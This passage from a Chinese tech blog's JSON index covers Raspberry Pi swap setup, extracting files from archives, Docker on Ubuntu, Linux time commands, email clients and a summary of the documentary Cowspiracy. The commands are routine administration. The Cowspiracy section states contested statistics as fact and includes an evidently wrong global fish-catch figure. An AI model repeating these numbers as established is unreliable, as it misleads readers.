data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"樹莓派 Raspberry Pi 安裝 Docker 教學"},{"content":"這裡介紹如何調整樹莓派的 swap 記憶體交換空間大小，以解決記憶體不足當機的問題。\n現在最新的樹莓派 Raspberry Pi 3 硬體使用 1.2GHz 四核心的 CPU，內建藍芽與 WiFi，已經可以直接當作簡單的小電腦來用了，既省空間、成本又便宜，不過由於它的記憶體只有 1GB，以我個人的狀況而言，有時候這樣的設定在 Raspberry Pi 3 上多開幾個 Chromium 的網頁就會不夠用，甚至接近當機的情形，這一點就比較困擾一些。\n而現在的記憶卡與 USB 隨身碟都很便宜，我們可以利用記憶卡或隨身碟的空間來作為 swap，雖然這類的儲存空間沒有實體記憶體來的有效率，不過至少可以解決樹莓派記憶體不足導致當機的問題。\n調整 Swap 交換空間大小 樹莓派的 swap 交換空間是使用 dphys-swapfile 服務來管理的，更改 swap 交換檔的大小設定可透過 /etc/dphys-swapfile 設定檔來處理：\n# set size to absolute value, leaving empty (default) then uses computed value # you most likely don\u0026#39;t want this, unless you have an special disk situation CONF_SWAPSIZE=100 CONF_SWAPSIZE 是設定 swap 檔案的大小，單位是 MB，其預設是 100，這個預設值對於有 1GB 記憶體的樹莓派來說算是有點小，如果不小心記憶體使用太多的話就容易會出問題。\n我們可以將這個值調高一點，或是直接把這一行設定註解起來（不要設定），如果不要設定的話，dphys-swapfile 會自己計算最適當的 swap 大小，必要時也會自動調整 swap 檔案大小。\n調整好 CONF_SWAPSIZE 之後，重新啟動 dphys-swapfile 服務，讓新設定生效：\nsudo service dphys-swapfile restart 檢查新的 swap 狀態：\nswapon -s Filename Type Size Used Priority /var/swap file 1914876 5332 -1 這裡讓 dphys-swapfile 自行計算出來的 swap 大小大約是 2GB 左右，預設就是實體記憶體的兩倍，這個倍數可以用 CONF_SWAPFACTOR 來調整：\n# set size to computed value, this times RAM size, dynamically adapts, # guarantees that there is enough swap without wasting disk space on excess CONF_SWAPFACTOR=2 另外我們也可以靠著 CONF_MAXSWAP 參數來設定自動配置 swap 空間的大小上限值：\n# restrict size (computed and absolute!) to maximally this limit # can be set to empty for no limit, but beware of filled partitions! # this is/was a (outdated?) 32bit kernel limit (in MBytes), do not overrun it # but is also sensible on 64bit to prevent filling /var or even / partition CONF_MAXSWAP=2048 一般來說 swap 交換空間不適合建立在記憶卡或 USB 隨身碟這類的快閃記憶體（flash）之中，因為這樣會大幅增加快閃記憶體的讀寫次數，讓使用壽命跟著縮短，不過如果現在很多的記憶卡與隨身碟都有終身保固了，所以壽命的問題影響就不大。\n使用 USB 隨身碟作為 Swap 空間 如果手上剛好閒置的 USB 隨身碟，也可以將 USB 隨身碟格式化之後，掛載至樹莓派上，除了當作額外的儲存空間，也可以將 swap 交換空間放在上面。\n掛載 USB 隨身碟 若要讓 USB 隨身碟跟普通硬碟一樣可以固定掛載在系統的固定路徑上，可以仿照一般新增 Linux 硬碟的作法，將 USB 隨身碟格式化成 ext4 檔案系統，然後使用 UUID 的方式寫入 /etc/fstab 中，這樣樹莓派就可以多一個固定的儲存空間。\n首先使用 gparted 磁碟分割工具，把 USB 格式化成 ext4 檔案系統，接著把格式化好的 USB 隨身碟插入樹莓派，正常來說樹莓派偵測到新的 USB 隨身碟之後，會自動進行掛載，不過這種自動的方式會將隨身碟掛載至 /media/pi/ 這種使用者的路徑之下，這個掛載點是可以被一般使用者卸載的，若想要把 swap 交換空間放在上面的話，會有大問題，所以我們必須把 USB 隨身碟寫在系統層級的掛載點。\n使用 blkid 查看 USB 隨身碟的 UUID：\nblkid /dev/mmcblk0p1: SEC_TYPE=\"msdos\" LABEL=\"boot\" UUID=\"7F22-B6C1\" TYPE=\"vfat\" PARTUUID=\"c0ed4be9-01\" /dev/mmcblk0p2: UUID=\"402bfe3d-37db-48a7-a515-31edccf953df\" TYPE=\"ext4\" PARTUUID=\"c0ed4be9-02\" /dev/sda1: UUID=\"2ce396ed-4788-4bcc-a1a5-814966f6cfbb\" TYPE=\"ext4\" PARTUUID=\"e6259569-962f-4108-b10c-9044a5f74d17\" 以我的這一個 USB 隨身碟而言，磁碟的路徑是 /dev/sda1，而其 UUID 則為 2ce396ed-4788-4bcc-a1a5-814966f6cfbb。\n接著修改 /etc/fstab 設定檔，以 UUID 的方式加入這個 USB 隨身碟的掛載設定：\nUUID=2ce396ed-4788-4bcc-a1a5-814966f6cfbb\t/usbdisk\text4\tdefaults\t0\t0 這裡我設定將這個 USB 隨身碟掛載至 /usbdisk，這個位置可以自己隨意取，接著建立這個目錄：\nsudo mkdir /usbdisk 這個時候 USB 隨身碟應該還是掛載在 /media/pi/ 這個使用者層級的位置上，先把它卸載（從桌面環境的圖形界面應該就有這個功能）。\n接著再以系統層級的方式，重新把這個 USB 隨身碟依據 /etc/fstab 的設定掛載：\nmount -a 用 df 確認是否有正常掛載：\ndf -h Filesystem Size Used Avail Use% Mounted on /dev/root 15G 7.2G 6.9G 51% / devtmpfs 459M 0 459M 0% /dev tmpfs 463M 30M 433M 7% /dev/shm tmpfs 463M 6.4M 457M 2% /run tmpfs 5.0M 4.0K 5.0M 1% /run/lock tmpfs 463M 0 463M 0% /sys/fs/cgroup /dev/mmcblk0p1 63M 21M 43M 34% /boot /dev/sda1 29G 7.9G 20G 29% /usbdisk tmpfs 93M 0 93M 0% /run/user/1000 這裡的倒數第二行就是新掛載的 USB 隨身碟，這樣就完成新增 USB 隨身碟的步驟了。\n由於我們是將這個 USB 隨身碟寫在 /etc/fstab 中讓系統自動掛載，所以設定好之後，這個 USB 隨身碟就不要拔下來了，如果要拔的話，記得要把 /etc/fstab 的設定先調整一下，以免開機或自動掛載時找不到 USB 隨身碟。\n設定 Swap 交換空間檔案位置 掛載一個外部的 USB 隨身碟之後，就可以將 swap 交換空間的檔案放在這上面了。設定的方式很簡單，只要修改 /etc/dphys-swapfile 這個設定檔的 CONF_SWAPFILE 參數即可：\n# where we want the swapfile to be, this is the default #CONF_SWAPFILE=/var/swap CONF_SWAPFILE=/usbdisk/swap CONF_SWAPFILE 是設定 swap 檔案放置的路徑，預設是 /var/swap，我們只要把它改為 USB 隨身碟的路徑之下（以我的例子來說就是 /usbdisk/ 之下），就可以讓 swap 檔案放在 USB 隨身碟中了，至於檔案名稱要取什麼都可以。\n最後重新啟動 dphys-swapfile 服務：\n# 重新啟動 dphys-swapfile 服務 service dphys-swapfile restart 檢查一下 swap 的狀態：\nswapon -s Filename Type Size Used Priority /var/swap file 1914876 0 -1 /usbdisk/swap file 1914876 0 -2 這時候可能會出現兩個 swap 交換空間，/var/swap 是舊的設定，這個空間在下一次重新開機之後，就不會被掛載了，未來只有 /usbdisk/swap 這個新的 swap 空間會被使用。\n如果想要馬上把就的 swap 檔案清乾淨，可以將 /var/swap 這個 swap 空間手動關閉：\nsudo swapoff /var/swap 然後再把這個檔案刪掉，節省空間：\nsudo rm /var/swap 這樣就完成 USB 隨身碟上的 swap 交換空間設定了。\n除了使用 ext4 檔案系統配合 swap 交換空間檔案的方式之外，亦可直接將 USB 隨身碟格式化為 swap 檔案系統，不過我個人是比較喜歡使用 ext4 的方式，因為這樣可以很方便的動態調整 swap 檔案的大小，剩下的空間還可以用來儲存自己的資料，使用上比較彈性。\n參考資料 StackExchange ","permalink":"https://blog.gtwang.org/iot/raspberry-pi/raspberry-pi-swap-configuration-using-usb-stick/","summary":"\u003cp\u003e這裡介紹如何調整樹莓派的 swap 記憶體交換空間大小，以解決記憶體不足當機的問題。\u003c/p\u003e\n\u003cp\u003e現在最新的\u003ca href=\"/iot/raspberry-pi-3-model-b/\"\u003e樹莓派 Raspberry Pi 3\u003c/a\u003e 硬體使用 1.2GHz 四核心的 CPU，內建藍芽與 WiFi，已經可以直接當作簡單的小電腦來用了，既省空間、成本又便宜，不過由於它的記憶體只有 1GB，以我個人的狀況而言，有時候這樣的設定在 Raspberry Pi 3 上多開幾個 Chromium 的網頁就會不夠用，甚至接近當機的情形，這一點就比較困擾一些。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 記憶體不足當機？調整 Swap 交換空間大小解決"},{"content":"這裡介紹如何在 Linux 中從各種的大壓縮檔中解壓縮單一檔案，包含 tar.gz、tar.bz2、tar.xz、zip、rar 這些常見的壓縮格式。\n在 Linux 中如果要從一個比較大的壓縮檔中取出少數的檔案，使用圖形介面的解壓縮工具程式是最方便的方式，以 Ubuntu Linux 桌面環境為例，其本身就有內建壓縮檔管理員，使用這個工具可以輕鬆瀏覽、搜尋或解壓縮各種壓縮檔。\n不過如果透過 SSH 連線至遠端 Linux 伺服器的狀況下，只能使用指令操作的話，就需要一些技巧了。以下我們將介紹各種壓縮檔案格式的部份檔案解壓縮方式，讓使用者快速從壓縮檔中搜尋需要的檔案，並且將其解壓縮。\nTarball 壓縮檔 tarball 壓縮檔是指各類型的 tar 壓縮檔，常見的壓縮方式有 tar.gz、tar.bz2 與 tar.xz 這三種，這些 tarball 的解壓縮方法都大同小異。\n拿到一個較大的 tarball 檔案時，首先可以先查看一下裡面有哪些檔案，tar 的 -t 參數可以讓我們在不要實際進行解壓縮檔案的情況下，列出檔案列表：\ntar ztvf ParaView-v5.1.2.tar.gz 通常大壓縮檔的檔案數量都很多，所以配合 grep 來尋找自己要的檔案會比較方便：\ntar ztvf ParaView-v5.1.2.tar.gz | grep README 這樣就會列出 ParaView-v5.1.2.tar.gz 壓縮檔中所有 README 的位置。而找到檔案的位置之後，就可以把需要的檔案解壓縮出來，解壓縮部分檔案的方式跟解壓縮整個檔案類似，只是在最後加上要解壓縮的檔案路徑，例如：\ntar zxvf ParaView-v5.1.2.tar.gz ParaView-v5.1.2/README.md 這樣就可以把 ParaView-v5.1.2.tar.gz 這個壓縮檔中的 ParaView-v5.1.2/README.md 解壓縮出來。\n如果要解壓縮多個檔案，就將所有的檔案路徑家在後面即可：\ntar zxvf tarball.tar.gz file/path1 file/path2 file/path3 另一種很常用的解壓縮方式是一次將特定的檔案類型全部解壓縮出來，例如將 ParaView-v5.1.2.tar.gz 中所有的 C 語言程式碼檔案（*.c）解壓縮出來：\ntar zxvf ParaView-v5.1.2.tar.gz --wildcards --no-anchored \u0026#39;*.c\u0026#39; --wildcards 是代表使用萬用字元的意思，而 --no-anchored 則是代表只對檔案名稱做比對（不要比對 / 之前的文字）。\ntar.bz2 的解壓縮方式也都類似，只是將 -z 換成 -j 而已：\n# 查看壓縮檔 tar jtvf tarball.tar.bz2 # 解壓縮單檔 tar jxvf tarball.tar.bz2 file/path # 解壓縮 *.c tar jxvf tarball.tar.bz2 --wildcards --no-anchored \u0026#39;*.c\u0026#39; 這個是 tar.xz 的解壓縮方式：\n# 查看壓縮檔 tar Jtvf tarball.tar.xz # 解壓縮單檔 tar Jxvf tarball.tar.xz file/path # 解壓縮 *.c tar Jxvf tarball.tar.xz --wildcards --no-anchored \u0026#39;*.c\u0026#39; 關於 tar 指令的操作，可以參考 UNIX/Linux 檔案壓縮與備份工具 tar 指令使用教學與範例。\nZip 壓縮檔 unzip 的 -l 參數可以列出 zip 壓縮檔中的檔案列表：\nunzip -l R_Course.zip Archive: R_Course.zip Length Date Time Name --------- ---------- ----- ---- 0 2016-10-12 15:49 R語言入門課程20161027/ 2449990 2016-10-12 15:31 R語言入門課程20161027/01-introduction.pdf 2357267 2016-10-12 15:32 R語言入門課程20161027/02-vectors.pdf 1873540 2016-10-12 15:33 R語言入門課程20161027/03-variables-and-workspace.pdf 2004089 2016-10-12 15:33 R語言入門課程20161027/04-matrices-and-arrays.pdf 1635561 2016-10-12 15:34 R語言入門課程20161027/05-lists.pdf [略] 解壓縮指定的檔案，並且捨去原來的目錄結構，直接將檔案放在目前的目錄下：\nunzip -j R_Course.zip R語言入門課程20161027/03-variables-and-workspace.pdf Archive: R_Course.zip inflating: 03-variables-and-workspace.pdf 解壓縮所有的 PDF 檔案：\nunzip -j R_Course.zip \u0026#39;*.pdf\u0026#39; -p 可將解壓縮的檔案直接輸出至 stdout：\nunzip -p source.zip path/file.txt \u0026amp;gt; file.txt Rar 壓縮檔 若要解壓縮 rar 壓縮檔，必須先安裝 unrar 這個解壓縮工具：\nsudo apt-get install unrar 首先列出 rar 壓縮檔的內容：\nunrar l archive.rar UNRAR 5.30 beta 2 freeware Copyright (c) 1993-2015 Alexander Roshal Archive: archive.rar Details: RAR 4 Attributes Size Date Time Name ----------- --------- ---------- ----- ---- -rw-r--r-- 57 2016-07-12 17:30 R語言入門課程20161027/data-3.txt -rw------- 1409077 2016-10-12 15:37 R語言入門課程20161027/10-environments.pdf -rw------- 2004089 2016-10-12 15:33 R語言入門課程20161027/04-matrices-and-arrays.pdf -rw------- 1401706 2016-10-12 15:39 R語言入門課程20161027/13-packages.pdf [略] 解壓縮指定的檔案：\nunrar e archive.rar path/file1 path/file2 參考資料 nixCraft StackExchange ","permalink":"https://blog.gtwang.org/linux/linux-unix-extracting-specific-files-from-tarball-zip-rar/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中從各種的大壓縮檔中解壓縮單一檔案，包含 tar.gz、tar.bz2、tar.xz、zip、rar 這些常見的壓縮格式。\u003c/p\u003e\n\u003cp\u003e在 Linux 中如果要從一個比較大的壓縮檔中取出少數的檔案，使用圖形介面的解壓縮工具程式是最方便的方式，以 Ubuntu Linux 桌面環境為例，其本身就有內建壓縮檔管理員，使用這個工具可以輕鬆瀏覽、搜尋或解壓縮各種壓縮檔。\u003c/p\u003e","title":"Linux 從壓縮檔中解壓縮單一檔案：tar.gz、tar.bz2、tar.xz、zip、rar 格式"},{"content":"這裡介紹在 Ubuntu Linux 中安裝 Docker 的步驟、基本操作教學以及 hello world 程式。\n目前主流的架構虛擬化技術，是將整個完整的作業系統包起來，放在 hypervisor 上面執行（例如 VirtualBox 與 VMWare），這種方式可以讓一台硬體主機同時執行多種不同的作業系統，但缺點就是執行多的作業系統需要較多的硬體資源。\nDocker 是屬於另外一種虛擬化技術，它透過 container 的方式將應用程式與相關所需的執行環境包起來，讓每個應用程式共用系統核心（kernel），但還是都有各自獨立的根目錄、檔案系統、網路環境、行程管理等，對於程式而言就好像在一般的獨立的系統上執行一樣。\n以下我們以 Ubuntu 16.04.1 LTS 作為測試環境，示範如何安裝基本的 Docker 執行環境，以及 container 的操作方式。\n安裝 Docker 在 Ubuntu Linux 中，使用 apt 安裝 Docker 比較方便：\nsudo apt-get install docker.io 安裝好之後，查看一下 docker 服務是否有正常啟動：\nservice docker status 正常的話，應該可以看到綠色的狀態：\n接著將自己的使用者帳號加入至 docker 群組：\nsudo usermod -aG docker gtwang 登出再重新登入之後，就可以開始使用 Docker 了。首先查看 Docker 的版本資訊：\ndocker version 正常來說輸出會類似這樣：\nClient: Version: 1.12.1 API version: 1.24 Go version: go1.6.2 Git commit: 23cf638 Built: Tue, 27 Sep 2016 12:25:38 +1300 OS/Arch: linux/amd64 Server: Version: 1.12.1 API version: 1.24 Go version: go1.6.2 Git commit: 23cf638 Built: Tue, 27 Sep 2016 12:25:38 +1300 OS/Arch: linux/amd64 如果出現這樣的訊息，就表示有問題，通常是因為帳號沒有加入 docker 群組，權限不足的因素，只要按照上述的方式將帳號加入 docker 群組即可解決。\nClient: Version: 1.12.1 API version: 1.24 Go version: go1.6.2 Git commit: 23cf638 Built: Tue, 27 Sep 2016 12:25:38 +1300 OS/Arch: linux/amd64 Cannot connect to the Docker daemon. Is the docker daemon running on this host? 取得 Docker Container 映像檔 安裝好 Docker 之後，接著就要下載 container 的映像檔，在 Docker Hub 上面有許多公開的 container 映像檔，我們可以利用 docker 的 search 指令來尋找自己需要的 container 映像檔，例如搜尋 Ubuntu Linux 的 container 映像檔：\ndocker search ubuntu NAME DESCRIPTION STARS OFFICIAL AUTOMATED ubuntu Ubuntu is a Debian-based Linux operating s... 5056 [OK] ubuntu-upstart Upstart is an event-based replacement for ... 68 [OK] rastasheep/ubuntu-sshd Dockerized SSH service, built on top of of... 49 [OK] consol/ubuntu-xfce-vnc Ubuntu container with \"headless\" VNC sessi... 29 [OK] torusware/speedus-ubuntu Always updated official Ubuntu docker imag... 27 [OK] ubuntu-debootstrap debootstrap --variant=minbase --components... 27 [OK] ioft/armhf-ubuntu [ABR] Ubuntu Docker images for the ARMv7(a... 19 [OK] nickistre/ubuntu-lamp LAMP server on Ubuntu 11 [OK] [略] 若要下載 container 映像檔，可以使用 pull 並且指定 container 的名稱：\ndocker pull ubuntu Using default tag: latest latest: Pulling from library/ubuntu aed15891ba52: Pull complete 773ae8583d14: Pull complete d1d48771f782: Pull complete cd3d6cd6c0cf: Pull complete 8ff6f8a9120c: Pull complete Digest: sha256:35bc48a1ca97c3971611dc4662d08d131869daa692acb281c7e9e052924e38b1 Status: Downloaded newer image for ubuntu:latest docker 的 images 指令可以列出目前系統上所有的 container 映像檔：\ndocker images REPOSITORY TAG IMAGE ID CREATED SIZE ubuntu latest e4415b714b62 10 hours ago 128.1 MB Hello World 有個 container 映像檔之後，我們就可以在 container 中執行程式了，以下是在 container 中執行程式的 hello world 範例：\ndocker run ubuntu /bin/echo \u0026#39;Hello world\u0026#39; Hello world 這裡我們選擇 ubuntu 這個剛下載下來的 container 作為程式執行的環境，在這個環境中執行 /bin/echo 'Hello world' 這個指令，這樣就是 Docker 最簡單的使用方式。\n若要進入 Docker container 中的執行環境，可以使用 docker 的 run 指令，加上 -i 與 -t 參數進入互動式的操作介面並且配置 tty：\ndocker run -i -t ubuntu 若要離開 container 的互動式操作，則執行 exit 即可，使用上跟一般的 shell 差不多。\n如果直接執行一個沒有下載的 container，Docker 也會自動從網路上下載映像檔來執行：\ndocker run -it centos 也就是說 pull 的步驟是可以省略的。\nDaemon 若要使用 Docker 來執行 daemon 類型的常駐程式，可以使用 -d 參數，讓整個 container 放在背景執行，例如：\ndocker run -d ubuntu /bin/sh -c \u0026#34;while true; do echo hello world; sleep 1; done\u0026#34; 執行之後，會輸出一串很長的字串：\n8764388588e5be54e4d04ff622f25753cab14a56c561523cdd58b03021dd8c6c 這個就是 container 的 ID，可用於後續的 container 管理。\n我們可以使用 docker 的 ps 指令來查看目前所有正在執行的 container：\ndocker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 8764388588e5 ubuntu \"/bin/sh -c 'while tr\" 3 minutes ago Up 3 minutes boring_franklin 最後一個 NAMES 欄位是 container 執行個體的名稱，這個名稱是 Docker 自己隨機取的，在指令中若要對該 container 進行操作，可以用這個名稱來指定。\n在 container 中的程式輸出訊息可以透過 Docker 的 logs 紀錄檔功能來查閱，例如查看 boring_franklin 這個 container 的記錄檔：\ndocker logs boring_franklin hello world hello world hello world hello world hello world [略] 若要終止正在執行中的 container，可以使用 stop 指令：\ndocker stop boring_franklin boring_franklin 以上就是 Ubuntu Linux 中最基本的 Docker 安裝與操作。\n參考資料 Unixmen Docker Docker 原理圖解及全環境安裝 ","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-install-docker-tutorial/","summary":"\u003cp\u003e這裡介紹在 Ubuntu Linux 中安裝 Docker 的步驟、基本操作教學以及 hello world 程式。\u003c/p\u003e\n\u003cp\u003e目前主流的架構虛擬化技術，是將整個完整的作業系統包起來，放在 hypervisor 上面執行（例如 VirtualBox 與 VMWare），這種方式可以讓一台硬體主機同時執行多種不同的作業系統，但缺點就是執行多的作業系統需要較多的硬體資源。\u003c/p\u003e","title":"Ubuntu Linux 安裝 Docker 步驟與使用教學"},{"content":"這裡介紹各種在 Linux 中以手動來調整系統時間的方法，包含 date、hwclock 與 timedatectl 指令的用法。\n時間的設定對於 Linux 系統而言是很重要的，例如在處理檔案同步時，如果系統時間誤差太大，就會造成問題，一般 Linux 系統的時間都會直接設定以 ntp 網路校時的方式自動調整，不過如果網路出問題無法使用 ntp 服務的話，最直接又簡便的方式就是手動設定時間。\nLinux 系統時間 Linux 的 date 指令可以查詢目前系統上的日期與時間：\n# 查詢日期與時間 date 四 11月 17 08:49:21 CST 2016 使用者可以自訂 date 的輸出格式，例如輸出年/月/日這樣的格式：\ndate +%Y/%m/%d 2016/11/17 只輸出時間：\ndate +%T 09:12:46 date 指令除了用來查詢系統時間，輸出各種的時間戳記之外，也可以用來更改系統日期或時間（要更改系統時間需要使用 sudo 或 su 取得 root 權限）：\nsudo date -s \u0026#34;Fri, 11 Nov 2016 10:21:32 CST\u0026#34; 這樣就將時間設定為 2016/11/11 早上 10:21:32，而 date 的 -s 參數可以接受非常彈性的日期字串，我們也可以用以下幾種比較簡單的格式來設定日期與時間：\nsudo date -s \u0026#34;2016/11/11 10:21:32\u0026#34; sudo date -s \u0026#34;2016-11-11 10:21:32\u0026#34; sudo date -s \u0026#34;20161111 10:21:32\u0026#34; 另外也可以使用 next 或 last 的方式來設定：\n# 下週一 sudo date -s \u0026#34;next Mon\u0026#34; # 上週一 17:30:21 sudo date -s \u0026#34;last Mon 17:30:21\u0026#34; 硬體時鐘（RTC） 若要查詢硬體時鐘（RTC）的時間，可以使用 hwclock：\nsudo hwclock 2016年11月17日 (週四) 09時00分46秒 .829232 seconds 若要將系統時間寫入硬體時鐘，可以使用 -w 參數：\nsudo hwclock -w systemd 系統的時間管理 systemd 是 Linux 作業系統之下的一套中央化系統及設定管理程式（init 軟體），目前絕大多數的 Linux 發行版都已採用 systemd 來代替原來的 System V。\n在 systemd 系統下可以使用 timedatectl 來檢視系統時間資訊：\n# 檢視系統時間資訊 timedatectl Local time: 四 2016-11-17 10:12:14 CST Universal time: 四 2016-11-17 02:12:14 UTC RTC time: 日 2016-11-13 16:02:20 Time zone: Asia/Taipei (CST, +0800) Network time on: yes NTP synchronized: no RTC in local TZ: no root@ubuntu-pc:/etc# hwclock -w root@ubuntu-pc:/etc# timedatectl Local time: 四 2016-11-17 10:12:27 CST Universal time: 四 2016-11-17 02:12:27 UTC RTC time: 四 2016-11-17 02:12:26 Time zone: Asia/Taipei (CST, +0800) Network time on: yes NTP synchronized: no RTC in local TZ: no timedatectl 也可以用來設定系統時間，設定方式為：\nsudo timedatectl set-time \u0026#34;2016-11-12\u0026#34; 設定日期與時間的方式：\nsudo timedatectl set-time \u0026#34;2016-11-12 18:10:40\u0026#34; 也可以只更改時間：\nsudo timedatectl set-time \u0026#34;18:10:40\u0026#34; 關閉 ntp 自動校時 如果系統有設定以 ntp 自動校時，在手動更改日期與時間時，就出現這樣的錯誤訊息：\nFailed to set time: Automatic time synchronization is enabled 此時若要手動校時就要先將 ntp 關閉：\nsudo timedatectl set-ntp no 若要恢復 ntp 自動校時，則執行：\nsudo timedatectl set-ntp yes 設定時區 timedatectl 亦可用來設定時區（time zone）：\ntimedatectl set-timezone \u0026#34;Asia/Taipei\u0026#34; 不過通常一般若要設定時區，使用這種選單選取的方式會比較方便：\nsudo dpkg-reconfigure tzdata 參考資料 nixCraft ","permalink":"https://blog.gtwang.org/linux/howto-set-date-time-from-linux-command-prompt/","summary":"\u003cp\u003e這裡介紹各種在 Linux 中以手動來調整系統時間的方法，包含 \u003ccode\u003edate\u003c/code\u003e、\u003ccode\u003ehwclock\u003c/code\u003e 與 \u003ccode\u003etimedatectl\u003c/code\u003e 指令的用法。\u003c/p\u003e\n\u003cp\u003e時間的設定對於 Linux 系統而言是很重要的，例如在處理檔案同步時，如果系統時間誤差太大，就會造成問題，一般 Linux 系統的時間都會直接設定以 ntp 網路校時的方式自動調整，不過如果網路出問題無法使用 ntp 服務的話，最直接又簡便的方式就是手動設定時間。\u003c/p\u003e","title":"Linux 手動更改系統時間：date、hwclock 與 timedatectl 指令用法教學"},{"content":"這裡介紹 6 個 Linux 下最熱門的電子郵件收信軟體。\n平常有使用 Linux 桌面環境工作的人，通常都會需要使用電子郵件軟體收發信件，這裡我們搜集了 Linux 中最常見的幾個熱門電子郵件軟體。\nThunderbird Thunderbird 是 Mozilla 這家公司所開發的電子郵件收信軟體，它跟 Firefox 一樣是以開放原始碼的方式授權，功能相當完整，上手也很容易。\n名稱：Thunderbird\n網站：https://www.thunderbird.net/zh-TW/\n以 apt 安裝 Thunderbird：\nsudo apt-get install thunderbird Evolution Evolution 是由 GNOME 所發展的一套電子郵件軟體，與 Thunderbird 類似，功能也是很豐富，還有行事曆、代辦事項等附加功能。\n名稱：Evolution\n網站：https://flathub.org/en/apps/org.gnome.Evolution\n以 apt 安裝 Evolution：\nsudo apt-get install evolution KMail KMail 也跟上面的 Evolution 類似，不過它是由 KDE 所發展的電子郵件軟體，適合使用 KDE 桌面的使用者。\n名稱：KMail\n網站：https://apps.kde.org/zh-tw/kmail2/\n以 apt 安裝 KMail：\nsudo apt-get install kmail Geary Geary 是 GNOME 3 桌面環境下的一套電子郵件軟體，他的特色是簡單、好用，雖然功能不像 Evolution 那麼豐富，但精簡的軟體在操作上會更有效率。\n名稱：Geary\n網站：https://flathub.org/zh-Hant/apps/org.gnome.Geary\n以 apt 安裝 Geary：\nsudo apt-get install geary Sylpheed Sylpheed 也是一套小型的電子郵件軟體，使用 GTK+ GUI toolkit 所開發，看起來是日本人所寫的。\n名稱：Sylpheed\n網站：https://sylpheed.sraoss.jp/en/\n以 apt 安裝 Sylpheed：\nsudo apt-get install sylpheed Claws Mail Claws Mail 與 Sylpheed 類似，也都是使用 GTK+ 所發展的小型電子郵件軟體。\n名稱：Claws Mail\n網站：https://www.claws-mail.org/\n以 apt 安裝 Claws：\nsudo apt-get install claws-mail ","permalink":"https://blog.gtwang.org/useful-tools/best-email-clients-for-linux-systems/","summary":"\u003cp\u003e這裡介紹 6 個 Linux 下最熱門的電子郵件收信軟體。\u003c/p\u003e\n\u003cp\u003e平常有使用 Linux 桌面環境工作的人，通常都會需要使用電子郵件軟體收發信件，這裡我們搜集了 Linux 中最常見的幾個熱門電子郵件軟體。\u003c/p\u003e","title":"6 個 Linux 下的電子郵件收信軟體整理"},{"content":"《奶牛陰謀：永遠不能說的秘密》是由李奧納多監製的一部紀錄片，片中敘述了畜牧業的環境污染真相，以及為什麼要吃素的原因。\n《奶牛陰謀：永遠不能說的秘密》（COWSPIRACY，或譯為畜牧業的陰謀）是由李奧納多監製的一部紀錄片，於 2014 年發行，並於 2015 年 9 月在 Netflix 上獨家發行更新版本。片中詳細分析了畜牧業對環境所造成的破壞更勝於石化產業，若要避免這個全球性的災難，減少肉類的飲食、甚至成為素食者會是一個最直接有效的方式。\n這部片有兩個版本，COWSPIRACY 官方網站 上面所放的版本是最初拍攝的版本，而後來由李奧納多監製的最新版本可以從 Netflix 上面觀看，兩個版本的主要內容沒有差太多，只不過新版本中的資料有更新過。\n網路上有人把 COWSPIRACY 這部影片放上 YouTube，不過我個人建議可以購買正版的，支持一下這部影片，讓他們可以有經費繼續拍攝更多這類的片子。\n以下是這部紀錄片的一些重點，如果您沒有時間看完整部影片，可以直接瀏覽這些重點。\n在溫室氣體排放上，有 51% 的溫室氣體來自於畜牧業的牲畜及其衍生的產品，而海、陸、空所有交通工具（包含汽車、卡車、火車、船隻、飛機）所造成的溫室氣體僅佔 13%。 氧化亞氮（nitrous oxide）是一種溫室氣體，其對於溫室效應的影響是二氧化碳的 296 倍，而 65% 是由畜牧業的牲畜所產生的。 素食者的碳足跡僅有肉食者的 50%。 生產一個漢堡需要 3,000 公升的水，相當於連續淋浴兩個月的水。 飼養食用型動物消耗了世界上 1/3 的淡水。 在美國家庭用水僅佔總用水量的 5%，而畜牧業則佔了 55%。 一個有 2,500 頭乳牛的農場所產生的排泄物總量，相當於一個有 411,000 人的城市所產生的排泄物總量。 在美國畜牧業的牲畜每分鐘產生 320 萬公斤的糞便。 1.5 英畝的土地每年可生產 16783 公斤的（植物）糧食，但若用於畜牧業，每年僅能生產 170 公斤的肉類。 一個素食者一年所需的糧食，需要 674 平方公尺的土地來生產，而肉食者則是素食者的 18 倍。 畜牧業的牲畜佔用了全球 45% 的土地。 全球有三分之一的土地因為畜牧業而造成沙漠化。 1.5 英畝的土地大約就是一個足球場那麼大。\n每一公斤的魚類被捕獲時，多達五公斤的非目標物種也被誤捕（例如鯊魚、海豚、海龜等）。 全球每年有 80.4 噸的魚類被捕捕撈上岸，全球目前已經有四分之三的漁業已經枯竭。 由於雨林的砍伐，每天有 110 種動植物與昆蟲絕種。 畜牧業是造成物種滅絕、海洋死區、水污染與棲息地破壞的主因。 地球上平均每秒有 1 ～ 2 個足球場大的雨林遭到砍伐，主要用途為放牧與種植飼養用作物。 畜牧業造成了多達 91% 的亞馬遜雨林遭到破壞。 棕櫚油造成的雨林砍伐面積為 1,050 億平方公尺，而畜牧業則為 5,500 億平方公尺。 與一般肉食者相比，素食者所產生的二氧化碳只有 50%，油耗只有 1/11，用水量只有 1/13，土地使用量只有 1/18。 我們只要少吃肉類食品，多吃植物類食品，就可以幫助地球解救這個災難。 完整的 infographic 圖可以從 COWSPIRACY 的官方網站下載（[備用連結][5]），而這些結論的相關佐證資料都可以在 COWSPIRACY 的官方網站上面找到，大部分都是國際的學術期刊論文，甚至還有 Nature 期刊的論文。\n參考資料 Yahoo 新聞 ","permalink":"https://blog.gtwang.org/funny/cowspiracy-the-sustainability-secret/","summary":"\u003cp\u003e《奶牛陰謀：永遠不能說的秘密》是由李奧納多監製的一部紀錄片，片中敘述了畜牧業的環境污染真相，以及為什麼要吃素的原因。\u003c/p\u003e\n\u003cp\u003e《奶牛陰謀：永遠不能說的秘密》（COWSPIRACY，或譯為畜牧業的陰謀）是由李奧納多監製的一部紀錄片，於 2014 年發行，並於 2015 年 9 月在 Netflix 上獨家發行更新版本。片中詳細分析了畜牧業對環境所造成的破壞更勝於石化產業，若要避免這個全球性的災難，減少肉類的飲食、甚至成為素食者會是一個最直接有效的方式。\u003c/p\u003e","title":"奶牛陰謀 